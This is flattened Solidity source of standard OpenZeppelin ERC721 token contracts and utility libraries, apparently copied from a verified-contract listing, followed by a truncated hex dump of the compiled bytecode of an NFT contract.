@dev ERC721 Token that can be irreversibly burned (destroyed). */ abstract contract ERC721Burnable is Context, ERC721 { /** * @dev Burns `tokenId`. See {ERC721-_burn}. * * Requirements: * * - The caller must own `tokenId` or be an approved operator. */ function burn(uint256 tokenId) public virtual { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved"); _burn(tokenId); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x6080604052600436106102085760003560e01c806365f130971161011857806395d89b41116100a0578063b88d4fde1161006f578063b88d4fde14610717578063c87b56dd14610740578063d6edbfeb1461077d578063e985e9c5146107a8578063f2fde38b146107e55761020f565b806395d89b4114610681578063989bdbb6146106ac578063a22cb465146106c3578063ad979cde146106ec5761020f565b806377551191116100e757806377551191146105ae578063819b25ba146105d757806381c13a1814610600578063833b94991461062b5780638da5cb5b146106565761020f565b806365f1309714610506578063693d77d21461053157806370a082311461055a578063715018a6146105975761020f565b80632f745c591161019b57806342966c681161016a57806342966c68146104115780634f6ccce71461043a57806355f804b3146104775780636352211e146104a05780636447c35d146104dd5761020f565b80632f745c591461036957806332cb6b0c146103a65780633ccfd60b146103d157806342842e0e146103e85761020f565b8063095ea7b3116101d7578063095ea7b3146102d55780630ca27825146102fe57806318160ddd1461031557806323b872dd146103405761020f565b8063011be59e1461021457806301ffc9a71461023057806306fdde031461026d578063081812fc146102985761020f565b3661020f57005b600080fd5b61022e600480360381019061022991906134b9565b61080e565b005b34801561023c57600080fd5b5061025760048036038101906102529190613426565b61098a565b60405161026491906139ee565b60405180910390f35b34801561027957600080fd5b5061028261099c565b60405161028f9190613a09565b60405180910390f35b3480156102a457600080fd5b506102bf60048036038101906102ba91906134b9565b610a2e565b6040516102cc9190613987565b60405180910390f35b3480156102e157600080fd5b506102fc60048036038101906102f7919061337c565b610ab3565b005b34801561030a57600080fd5b50610313610bcb565b005b34801561032157600080fd5b5061032a610d6f565b6040516103379190613d8b565b60405180910390f35b34801561034c57600080fd5b5061036760048036038101906103629190613276565b610d7c565b005b34801561037557600080fd5b50610390600480360381019061038b919061337c565b610ddc565b60405161039d9190613d8b565b60405180910390f35b3480156103b257600080fd5b506103bb610e81565b6040516103c89190613d8b565b60405180910390f35b3480156103dd57600080fd5b506103e6610e87565b005b3480156103f457600080fd5b5061040f600480360381019061040a9190613276565b610f52565b005b34801561041d57600080fd5b50610438600480360381019061043391906134b9565b610f72565b005b34801561044657600080fd5b50610461600480360381019061045c91906134b9565b610fce565b60405161046e9190613d8b565b60405180910390f35b34801561048357600080fd5b5061049e60048036038101906104999190613478565b611065565b005b3480156104ac57600080fd5b506104c760048036038101906104c291906134b9565b611151565b6040516104d49190613987565b60405180910390f35b3480156104e957600080fd5b5061050460048036038101906104ff91906133b8565b611203565b005b34801561051257600080fd5b5061051b61134a565b6040516105289190613d8b565b60405180910390f35b34801561053d57600080fd5b50610558600480360381019061055391906133fd565b61134f565b005b34801561056657600080fd5b50610581600480360381019061057c9190613211565b6113e8565b60405161058e9190613d8b565b60405180910390f35b3480156105a357600080fd5b506105ac6114a0565b005b3480156105ba57600080fd5b506105d560048036038101906105d091906133fd565b611528565b005b3480156105e357600080fd5b506105fe60048036038101906105f991906134b9565b6115c1565b005b34801561060c57600080fd5b506106156116d1565b60405161062291906139ee565b60405180910390f35b34801561063757600080fd5b506106406116e4565b60405161064d9190613d8b565b60405180910390f35b34801561066257600080fd5b5061066b6116ef565b6040516106789190613987565b60405180910390f35b34801561068d57600080fd5b50610696611719565b6040516106a39190613a09565b60405180910390f35b3480156106b857600080fd5b506106c16117ab565b005b3480156106cf57600080fd5b506106ea60048036038101906106e59190613340565b611844565b005b3480156106f857600080fd5b5061070161185a565b60405161070e91906139ee565b60405180910390f35b34801561072357600080fd5b5061073e600480360381019061073991906132c5565b61186d565b005b34801561074c57600080fd5b50610767600480360381019061076291906134b9565b6118cf565b6040516107749190613a09565b60405180910390f35b34801561078957600080fd5b50610792611976565b60405161079f91906139ee565b60405180910390f35b3480156107b457600080fd5b506107cf60048036038101906107ca919061323a565b611989565b6040516107dc91906139ee565b60405180910390f35b3480156107f157600080fd5b5061080c60048036038101906108079190613211565b611a1d565b005b6000610818610d6f565b9050600c60009054906101000a900460ff16610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090613b8b565b60405180910390fd5b60038211156108ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108a490613ceb565b60405180910390fd5b6103e882826108bc9190613e70565b11156108fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f490613aab565b60405180910390fd5b348266470de4df8200006109119190613ef7565b1115610952576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094990613b4b565b60405180910390fd5b60005b828110156109855761097233828461096d9190613e70565b611b15565b808061097d9061409e565b915050610955565b505050565b600061099582611b33565b9050919050565b6060600080546109ab9061403b565b80601f01602080910402602001604051908101604052809291908181526020018280546109d79061403b565b8015610a245780601f106109f957610100808354040283529160200191610a24565b820191906000526020600020905b815481529060010190602001808311610a0757829003601f168201915b5050505050905090565b6000610a3982611bad565b610a78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6f90613c4b565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610abe82611151565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2690613ccb565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610b4e611c19565b73ffffffffffffffffffffffffffffffffffffffff161480610b7d5750610b7c81610b77611c19565b611989565b5b610bbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb390613bcb565b60405180910390fd5b610bc68383611c21565b505050565b6000610bd5610d6f565b9050600a60149054906101000a900460ff16610c26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1d90613a2b565b60405180910390fd5b6103e8600182610c369190613e70565b1115610c77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6e90613aab565b60405180910390fd5b60011515600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610d0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0190613bab565b60405180910390fd5b610d143382611b15565b6000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600880549050905090565b610d8d610d87611c19565b82611cda565b610dcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc390613d2b565b60405180910390fd5b610dd7838383611db8565b505050565b6000610de7836113e8565b8210610e28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1f90613a4b565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b6103e881565b610e8f611c19565b73ff